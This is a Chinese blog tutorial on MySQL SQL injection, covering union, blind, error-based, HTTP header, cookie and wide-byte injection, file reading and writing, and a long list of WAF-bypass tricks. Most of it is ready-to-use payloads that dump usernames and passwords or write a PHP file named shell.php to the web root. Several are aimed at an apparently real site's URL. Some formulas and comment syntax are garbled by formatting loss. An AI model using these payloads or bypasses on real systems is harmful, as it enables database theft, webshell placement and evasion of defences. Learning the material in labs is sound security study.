网络安全 (四 SQL注入)

本文详细介绍了SQL注入相关知识,包括产生原因、相关函数等。阐述了GET、POST普通注入、盲注、报错注入等多种注入方式,还涉及偏移注入、HTTP头部注入、宽字节注入等。同时说明了MySQL注入读写文件的前提和方法,最后列举了多种SQL注入绕过方式。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

目录

  1. SQL注入介绍 2
    1.1. 产生原因 2
    1.2. 相关函数 2
    1.3. 0x3a、0x5c 3
  2. GET普通注入(回显) 3
    2.1. SQL注入分类 3
    2.2. 基于报错的SQL注入 3
  3. GET盲注 4
    3.1. 盲注介绍/小知识 4
    3.2. 布尔型盲注 5
    3.3. 时间型盲注 6
  4. GET报错注入 8
    4.1. 介绍 8
    4.2. 操作语句 8
    4.3. 各种函数的报错语句(了解) 9
  5. POST普通注入(回显) 10
  6. POST盲注 10
    6.1. 布尔型注入 10
    6.2. 时间型注入 10
  7. 偏移注入 11
  8. HTTP头部中的注入 12
    8.1. 介绍 12
    8.2. HTTP User-Agent注入 12
    8.3. HTTP Referer注入 12
  9. POST update注入 12
  10. COOKIE注入 13
  11. 宽字节注入 13
    11.1. 宽字节基础 13
    11.2. 利用注入 13
  12. MySQL注入读写文件 13
    12.1. Mysql注入读文件 13
    12.2. Mysql注入写文件 14
  13. SQL注入绕过 14
    13.1. 介绍 14
    13.2. 方式(越诡异越好) 14

1.SQL注入介绍
1.1.产生原因
1. 不安全的数据库配置
2. 转义字符处理不当
3. 类型处理不当
4. 查询语句组装不当
5. 错误处理不当
6. 多个提交处理不当
1.2.相关函数
system_user() 系统用户名
user() 用户名
current_user 当前用户名
session_user()连接数据库的用户名
database() 数据库名
version() MYSQL数据库版本
@@secure_file_priv 与mysql读取写入有关
/当secure_file_priv 值为空时候三个函数不限制(into oufile()、load_file()、into dumpfile()),值为指定目录时只能导入导出指定目录,当为NULL时候禁止导入导出功能/
load_file() MYSQL读取本地文件的函数
@@datadir 读取数据库路径
@@basedir MYSQL 安装路径
@@version_compile_os 操作系统 Windows Server 2003
1.3.0x3a、0x5c
0x3a: ::
0x5c:
2.GET普通注入(回显)
2.1.SQL注入分类
SQL注入分为两类,分别是数字型和字符型。
数字型:select * from table where id = 用户输入的ID #ID=1,2,3,…
字符型:select * from table where id = ‘用户输入的ID’
2.2.基于报错的SQL注入
通过对URL中对应的ID值进行修改,可以是正常的数字、字母、单引号、双引号、括号、反斜杠等等,或者就是直接在原有ID的基础上加一个.1、.0只要产生报错就行。
提示:Mysql数据库 5.0以上的版本存在information_schema
emmm斜杠效果好像更好一点
Select Login_name,password from admin where id=1
Select Login_name,password from admin where id=’1’
Select Login_name,password from admin where id=”1”
Select Login_name,password from admin where id=(‘1’)
Order by 判断字段数
Order by 5 出错,页面返回异常
Order by 4 页面返回正常,说明存在4个字段
利用union select 联合查询,获取相应的数据
#显示存在数据的位置
1’union select 1,2,3,4–+
#爆出数据库名字
1’union select 1,2,group_concat(databse()),4–+
#查询得到数据库中的表,得到当前 dvwa 数据库中两个表为 guestbook,users。
1’ union select (select group_concat(table_name) from information_schema.tables where table_schema=‘dvwa’),2 –
#爆出 users 和 guestbook 表格中的字段
1’ union select (select group_concat(column_name) from information_schema.columns where table_name=‘users’),2 –
#在查询 columns 中的 users 表时,里面可能有多个数据库会有users 表重名,所以最准确的结果,条件匹配上增加table_schema=’dvwa’ ,得到结果才是最准确的。
1’ and 1=2 union select (select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=‘dvwa’),2 –
#爆出表 users 和 guestbook 关键字段的内容
1’ and 1=2 union select (select group_concat(user_id,0x3a,user,0x3a,password)from dvwa.users ),2 –
3.GET盲注
3.1.盲注介绍/小知识
贼详细讲的:https://blog.youkuaiyun.com/pygain/article/details/53086389
盲注分为:基于布尔型的注入以及基于时间型的盲注
布尔盲注的应用程序仅仅返回True以及False两种方式
时间类型的盲注则是根据页面响应时间的的长短进行的判断,反应时间较长,则说明页面正常,而短时间,则说明页面的返回错误

返回数据中的某几行数据limit()
Limit(m,n)函数
说明:m 代表从 m+1 条记录行开始检索,n 代表取出 n 条数据。(m 可设为 0)
语法示例:
select * from 表名 limit m,n;
select user from users limit 0,1; //检索记录行 1

mid(string,start,length)函数
其中,每个参数的含义如下:
string(必需)规定要返回其中一部分的字符串。
start(必需)规定开始位置(起始值是 1)。 从第几个开始截取
length(可选)要返回的字符数。如果省略,则 mid() 函数返回剩余文本。 一次性截取几个字符
语法示例:
select user from users limit 0,1;
select mid(user,1,1) from users limit 0,1;
3.2.布尔型盲注
布尔型的盲注可以通过构造逻辑判断(来比较大小)进而得到数据库的内容
#判断当前数据库的长度
1’ and length(database())>1–+
判断数据库的字符,m从1开始(判断数据库的名称)
1’ and ascii(mid(database(),m,1))>1–+
#判断数据库中各个表的长度
id=1’ and length((Select table_name from information_schema.tables where
table_schema=‘security’ limit m,1))>n–+
#判断数据库中,各个表的名称
id=1’and ascii(mid((Select table_name from information_schema.tables where
table_schema=‘security’ limit 0,1),m,1))>n–+
#查看security数据库中users表中字段的个数 //没毛病
id=1’ and length((Select column_name from information_schema.columns where table_name=‘users’ and table_schema=‘security’limit m,1))>1–+
#判断users表中,各个字段的名称
id=1’and ascii(mid((select column_name from information_schema.columns where table_name=‘users’ and table_schema=‘security’ limit n,1),m,1))>0–+
#判断users的行数
id=1’ and (select count(*) from users)>n–+
#判断username的字段长度
id=1’and length((select username from users limit 0,1))>3–+
#截取第 1 个字符串,并转换为 ascii,得到准确的数据
id=1’And Ascii(substr((select username from users limit 0,1),1,1))>67–+
3.3.时间型盲注
在mysql中,if()函数语法如下:
if(expr1,expr2,expr3)如果expr1为真的话,那么就执行expr2,否则的话,将会将会执行expr3
语法示例:
select user from users where user_id=1 and
Id=1 and IF(ascii(substr(database(),1,1)>1,SLEEP(5),1));
这里如果条件 ascii(substr(database(),1,1))>1 成立,则执行 sleep(5),否
则执行 1,及如果条件成立的话,沉睡5秒,否则立即返回结果。
基于此,在注入时,可以构造 if 函数,通过 sleep()延迟判断表达式正确与否。
注入语句:id =1 and IF(ascii(substr(database(),1,1))>1,SLEEP(5),1)–+
#判断注入点
Name=user’ and sleep(5) and ‘1’=’1 字符型
Name=user’ and sleep(5) and ‘1’=’2
Name=user and sleep(5) and 1=1 数字型
Name=user and sleep(5) and 1=2
#枚举出当前的数据库的名称
id=1’ and if(ascii(substr(database(),m,1)) > n, sleep(3),1)–+
#枚举出当前数据库的表名 取出数据库中第一个字段的第一个字符
id=1’ and if(ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1))>1,sleep(3),1)–+
#枚举出当前数据库的表名 取出数据库中第一个字段的第二个字符
id=1’ and if(ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),2,1))>1,sleep(3),1)–+
#枚举出当前数据库的表名 取出数据库中第二个字段的第一个字符
id=1’ and if(ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 1,1),1,1))>1,sleep(3),1)–+
#爆出当前数据表的字段名
id=1’ and if(ascii(mid((select column_name from information_schema.columns where table_name=‘user’ limit 0,1),1,1))>0,sleep(3),1)–+
#爆出各个字段对应的数据项内容
id=1’ and if(ascii(substr((select username from security.users limit a,1),m,1))>0,sleep(3),1)–+
4.GET报错注入
4.1.介绍
报错注入形式上两个嵌套的查询,即select…(select…),里面那个seelct被称为子查询,他的执行顺序也是先执行子查询,然后在执行外面的select,双注入主要涉及到了几个SQL函数。
Rand()随机函数,返回0-1之间的某个值。
Floor(a)取整函数,返回小于等于a,且值最接近a的一个整数
Count()聚合函数也称为计数函数,返回查询对象的总数
Group by clause分组语句,按照查询结果分组
通过报错来显示具体的信息。

报错注入通过concat()函数进行联系,而group_concat()的话会出现错误
4.2.操作语句
#判断报错的注入点
union select count(*),(concat(floor(rand(0)*2),select version())) x from user group by x;

#爆数据库
union select count(*),concat(floor(rand(0)*2),database()) x from information_schema.schemata
group by x#

#爆表名
union select count(*),concat(floor(rand(0)*2),(select concat(table_name) from
information_schema.tables wherer table_schema=‘security’ limit 0,1)) x from
information_schema.schemata group by x#

#曝字段
union select count(*),concat(floor(rand(0)*2),(select concat(column_name) from
information_schema.columns where table_name=‘users’ and table_schema=‘dvwa’ limit 0,1)) x from information_schema.schemata group by x#

#曝内容
select count(*),concat(floor(rand(0)*2),(select concat(user,password) from dvwa.users limit 0,1)) x from information_schema.schemata group by x#
4.3.各种函数的报错语句(了解)
1、通过floor报错,注入语句如下:
and select 1 from (select count(),concat(version(),floor(rand(0)2))x from
information_schema.tables group by x)a);

2、通过ExtractValue报错,注入语句如下:
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

3、通过UpdateXml报错,注入语句如下:
and 1=(updatexml(1,concat(0x3a,(select user())),1))

爆数据库版本信息:?id=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)

链接用户:?id=1 and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)

链接数据库:?id=1 and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)

爆库:?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select
schema_name),0x7e) FROM admin limit 0,1),0x7e),1)

爆表:?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select
table_name),0x7e) FROM admin limit 0,1),0x7e),1)

爆字段:?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select
column_name),0x7e) FROM admin limit 0,1),0x7e),1)

爆字段内容:?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat
(0x23,username,0x3a,password,0x23) FROM admin limit 0,1),0x7e),1)

4、通过NAME_CONST报错,注入语句如下:
And exists(selectfrom (selectfrom(selectname_const(@@version,0))a join (select
name_const(@@version,0))b)c)

5、通过join报错,注入语句如下:
select * from(select * from mysql.user ajoin mysql.user b)c;

6、通过exp报错,注入语句如下:
and exp(~(select * from (select user () ) a) );

7、通过GeometryCollection()报错,注入语句如下:
and GeometryCollection(()select *from(select user () )a)b );

8、通过polygon ()报错,注入语句如下:
and polygon (()select * from(select user ())a)b );

9、通过multipoint ()报错,注入语句如下:
and multipoint (()select * from(select user() )a)b );

10、通过multlinestring ()报错,注入语句如下:
and multlinestring (()select * from(selectuser () )a)b );

11、通过multpolygon ()报错,注入语句如下:
and multpolygon (()select * from(selectuser () )a)b );

12、通过linestring ()报错,注入语句如下:
and linestring (()select * from(select user() )a)b );
5.POST普通注入(回显)
进行抓包,在数据包中进行修改
Select uname,password from admin where uname=’xxx’ and password=’xxx’
当我们在uname=’xxx后加入一个反斜杠后,反斜杠会将后面的单引号转义,使成为语句的一部分,而后面的password=’的这个’会与uname=’的’进行闭合,造成报错。
所以,在POST注入时,抓包之后,在数据包中进行修改,过程与GET型的一样。

6.POST盲注
6.1.布尔型注入
呕吼,巧了,就是地点的不同,在抓包之后,直接在burp进行修改,
Uname=admin’ and length(databse())>0 --+ & password=’123’
其他操作一样。
6.2.时间型注入
在存在注入点POST提交参数后加and if(length(database())>5,sleep(5),null)。
如果执行的页面相应时间大于5秒,那么肯定就存在注入,并且对应的SQL语句执行。
也是在数据包中进行操作
Uname=admin’ and if(ascii(substr(database(),m,1)) >
n,sleep(3),1)–+ & password=’a’
其他操作与GET型的一样。
7.偏移注入
偏移注入:解决注入时候,知道表名,不知道列名的情况

select * from admin as a inner join admin as b on a.id=b.id

admin表记为a,同时也记为b,然后查询条件是a表的id列与b表的id列相等,返回所有相等的行,
显然,a,b都是同一个表,当然全部返回啦。不理解的查一查语法吧。

order by 得到18列

利用“*”代替sys_admin表内存在的字段,由于是18个字段数,需要逐步测试,直到返回正常。

http://www.fdsp-reme.com/newslist.asp?id=688 union select
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,* from sys_admin #错误
http://www.fdsp-reme.com/newslist.asp?id=688 union select
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from sys_admin #错误
http://www.fdsp-reme.com/newslist.asp?id=688 union select
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,* from sys_admin #错误

直到…
http://www.test.com/newslist.asp?id=688 union select 1,2,3,4,5,6,7,8,9,10,11,* from sys_admin #正确

说明了sys_admin表下有11个字段。

偏移注入的基本公式为:
order by 出的字段数减去号的字段数,然而再用order by的字段数减去2倍刚才得出来的答案
    也就是18-11=7
       18-7
2=4
得到答案等于:4

然后依旧是套公式的过程。

http://www.fdsp-reme.com/newslist.asp?id=688 union select 1,2,3,4,a.id,b.id,* from (sys_admin as a inner join sys_admin as b on a.id = b.id)

#这里union select 1,2,3,4:顾名思义就是刚才得出来的长度。
#后面的是sql,可作公式。
如此便爆出了账号密码。
8.HTTP头部中的注入
8.1.介绍
SQL注入大都会在用户提交的参数上面采用措施,进行过滤,但是对于HTTP头部中的提交内容很有可能就没有进行过滤。
例如HTTP头部中的User-Agent、Referer、Cookie等
8.2.HTTP User-Agent注入
payLoad内容:
Updatexml(xml_document,xpath_string,new_value):
第一个参数:XML文档对象名称。
第二个参数:Xpath字符串。
第三个参数:替换查找到的符合条件的数据。
‘and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or ‘1’=’1

抓包进行修改
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.116 Safari/537.36‘and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or ‘1’=’1
8.3.HTTP Referer注入
类似于User-Agent注入
Referer:https://www.baidu.com/liad/qwe/12
抓包修改
Referer:https://www.baidu.com/liad/qwe/12’ or ’1’=’1
Referer:https://www.baidu.com/liad/qwe/12’ or if (length(database()>0,sleep(3),1) or ‘1’=’1
9.POST update注入
9.1.介绍
Mysql中的update更新数据
update语句可用来修改表中的数据,简单来说基本的使用方式为:
Update 表名 set 列名=新值 where 更新条件:
Update user set password=’admin’ where name=’admin’

抓包,在数据包中进行修改
Uname=admin & password= admin ‘ or updatexml(1,concat(0x7e,(select user()),0x7e),1) or ‘1’=’1# &submit=submit
10.COOKIE注入
代码中使用cookie传递参数,但是没有对cookie中传递的参数进行过滤操作,导致SQL注入漏洞的产生。
在输入用户名密码后,进行跳转,找到其中有参数的cookie,进行注入探测。
Cookie:uname=admin;_guid=1eqwdfs4ethrthgf;monitor=asdqw12e3erwrge1132;
Cookie:uname=admin’updatexml(1,concat(0x7e,(select version()),0x7e),1);_guid=1eqwdfs4ethrthgf;monitor=asdqw12e3erwrge1132;
11.宽字节注入
11.1.宽字节基础
GBK占用两字节
ASCII占用一字节
PHP中编码为GBK,函数执行添加的是ASDII编码,MYSQL默认字符集是GBK等宽字节符集。
%DF’ 会被PHP中的addslashes函数转译为%DF\,gbk是多字节编码,他认为两个字节代表一个汉字,所以%df和后面的\也就是%5c变成了一个汉字“運”,而’逃逸了出来。
那么mysql怎么判断一个字符是不是汉字,根据gbk编码,第一个字节ascii码大于128,基本上就可以了。比如我们不用%df,用%a1也可以。
11.2.利用注入
?id=1
?id=-1%df’ union select 1,2,3 --+
?id=-1%df’ union select 1,2,version() --+
12.MySQL注入读写文件
12.1.Mysql注入读文件
读取前提:
1.用户权限足够高,尽量具有root权限
2.Secure_file_priv不为NULL。(mysql 5.6.34版本以后 secure_file_priv的值默认为NULL)
Id=-1’ union select 1,load_file(“F:\flag.txt”),3 --+
12.2.Mysql注入写文件
写入前提:
1.权限足够
2.开启general_log=on
Id=-1’ union select 1,’<?Php phpinfo();?>’,3 into outfile “F:\phpstydy\www\shell.php”–+
13.SQL注入绕过
13.1.介绍
程序中设置了过滤关键字,但是并没有对关键字的组成进行深入的分析过滤,导致只是对整体进行过滤。例如:and 过滤。当然这种过滤只是发现关键字出现,并不会对关键字处理。
13.2.方式(越诡异越好)
大小写变种 and 1=2 —> AND 1=3
HTTP参数控制 绿盟waf http1.1 —> http1.3 这种

使用SQL注释 //union//select (//代替空格)
/d/and/c/1=1 破环安全狗的正则匹配规则
/asdasd/and/ewwa@sd^as/1=1
/!and/ 1=1
/!4001and/ 1=1 (比较好用)
//, – , /
/, #, --+, – -, ;%00

如果注释符被过滤的话,可以考虑闭合最后的字段
Select * from user where id=’1’
?id=-1’ union select 1,2,’3 limit 0,1 #这样的话,语句就能够执行了
成为了 ?id=’-1’ union select 1,2,’3’ limit 0,1

使用URL编码 '—>%27 空格–>%20
使用空字节 %01 %00 an%00d 1=1
使用嵌套过分离 anandd
替换 and–>&& or–>|| 空格–>%20 换行–>%0a tap键–>%09
使用非标准入口点 //非主站,防守相对较弱的副站

避开自定义过滤器 //人家网站定义的不允许上传的参数列表 eg:and or union select
and–>a+nd a%nd 'a’nd %A0and

干扰字符污染
空字符、空格、TAB换行、注释、特殊的函数等等都可以。
比如下面的:
SQL:sEleCt+1-1+vERsIoN /!/ ();yohehe???? SQL2:select/*!*/version`();

无空格的查询 index.php?id=2e0and{’'select(version())>7}

将get改成post或者是cookie提交 (贼牛逼)
在浏览器里,将参数?id=1 and 1=1作为POST的数据进行提交
www.abcd.com/news.asp 在POST参数框中,将?id=1 and 1=1进行提交

特殊运算符绕过:
and -1=-1 -1=-2
and 1=1 2=2

十六进制绕过
and 0x0 <> 0x1-- +
and 0x0 <> 0x0-- +
and 0x0 <=> 0x0-- +
and 0x0 <=> 0x1-- +
and 0x0 xor 0x1-- +
and 0x0 xor 0x0-- +

binary绕
and BINARY 1-- +
and BINARY 0-- +

conv绕
and CONV(1,11,2)-- +
and CONV(0,11,2)-- +

concat绕
and CONCAT(1)-- +
and CONCAT(0)-- +

绕order by
内联
?id=1’/!14440order by/ 3 – +
?id=1’order%23%0aby 3 – +
联合查询
关键在于打乱union select
?id=-1’ /!14440union//*!14440select */1,2,3 – +

注释符后跟垃圾字符(垃圾字符换行也就是%23a%0a的方法来绕)
id=-1’union%23hhh%0aselect 1,2,3–+
union distinct | distinctrow | all
id=-1’ union distinct %23%0aselect 1,2,3 – +
id=-1’ union distinctrow %23%0aselect 1,2,3 – +
id=-1’ union all%23%0aselect 1,2,3 – +

报错注入
关键在于updatexml()结构打乱
and updatexml(1,1,1 不拦截
and updatexml(1,1,1) 拦截

盲注(不让他匹配完整括号对)
布尔盲注
?id=1’ and hex(LEFT(user(/!)/,1))=%23a%0a72 – +
?id=1’ and hex(right(user(/!)/,1))=%23a%0a72 – +

	?id=1' and hex(SUBSTRING(user(/*!)*/,1,1))=72 -- +
	?id=1' and hex(substr(user(/*!)*/,1,1))=72 -- +
时间盲注
	?id=1' and sleep(3/*!)*/-- +

其他
?id=1’ and length(1)<=>1 – +
?id=1’ and length(database(/!))/<=>8 – +

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值